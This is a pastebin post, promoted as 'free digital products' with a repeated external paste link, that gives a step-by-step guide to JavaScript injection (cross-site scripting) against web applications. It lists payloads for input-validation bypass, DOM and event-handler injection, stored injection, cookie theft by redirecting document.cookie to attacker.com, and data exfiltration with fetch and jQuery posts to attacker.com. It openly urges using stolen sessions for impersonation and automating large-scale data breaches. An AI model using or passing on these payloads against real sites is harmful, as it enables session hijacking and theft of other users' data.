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roostakbits

free digital products 2024

Dec 25th, 2024
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  1.  
  2. https://paste.fo/6c3913ceff4a     <----- free digital products
  3.  
  4. -----------------------------------------------
  5. JavaScript Injection Techniques
  6.  
  7. Introduction:
  8. JavaScript Injection is a technique used to exploit web applications by injecting malicious scripts into websites or systems. These scripts manipulate or compromise the system by leveraging vulnerabilities in input validation or script execution.
  9. 1. Basic Injection
  10.  
  11. A. Identify user-input fields that directly execute JavaScript without sanitization.
  12. B. Inject simple scripts like <script>alert('Injected');</script> into text inputs, search bars, or URL parameters.
  13. C. Observe if the script is executed, indicating the system's vulnerability.
  14. 2. Bypassing Input Validation
  15.  
  16. A. Use encoded payloads like %3Cscript%3Ealert('Injected')%3C%2Fscript%3E.
  17. B. Experiment with obfuscation methods to bypass security measures.
  18. C. Test variations, such as breaking into dynamic JavaScript contexts like concatenated strings.
  19. 3. Cookie Stealing
  20.  
  21. A. Inject scripts to capture cookies:
  22. javascript <script>document.location='http://attacker.com/?cookie='+document.cookie;</script>
  23. B. Redirect the user’s session data to a server under your control.
  24. C. Utilize this data for unauthorized access or impersonation.
  25. 4. DOM-Based Injection
  26.  
  27. A. Inspect JavaScript code embedded on the client side for dynamic DOM manipulation.
  28. B. Inject payloads directly into DOM interactions, e.g., modifying innerHTML or document.write().
  29. C. Test with custom inputs to observe how the DOM structure changes and executes code.
  30. 5. Event Handlers Exploitation
  31.  
  32. A. Inject payloads within HTML event handlers (e.g., onerror, onclick).
  33. B. Example: <img src="invalid.jpg" onerror="alert('Injected')">.
  34. C. Leverage these handlers to bypass filtering mechanisms and trigger malicious actions.
  35. 6. Stored Injection
  36.  
  37. A. Locate features where user input is stored, such as comments or profiles.
  38. B. Inject persistent scripts like <script>maliciousFunction();</script>.
  39. C. Wait for other users to interact with the injected code, spreading the exploit.
  40. 7. Exfiltration Through JavaScript
  41.  
  42. A. Inject scripts to send data to a controlled endpoint:
  43. javascript <script> fetch('http://attacker.com/data', { method: 'POST', body: JSON.stringify({data: sensitiveData}) }); </script>
  44. B. Collect sensitive information such as form submissions or user actions.
  45. C. Automate this process for large-scale data breaches.
  46. 8. Advanced Payloads with Frameworks
  47.  
  48. A. Incorporate frameworks like jQuery or React in the payload if the target uses them.
  49. B. Exploit their APIs for advanced scripting techniques.
  50. C. Example (jQuery):
  51. javascript <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> <script>$.post('http://attacker.com', {data: 'Injected'});</script>
  52.  
  53. Essential Components for JavaScript Injection:
  54.  
  55.     Browser Debugging Tools: Tools like Chrome Developer Tools to inspect vulnerabilities.
  56.     Vulnerable Input Points: Text fields, URL parameters, or stored data features.
  57.     Payload Repository: Pre-prepared scripts for exploitation scenarios.
  58.  
  59.  
  60. https://paste.fo/6c3913ceff4a
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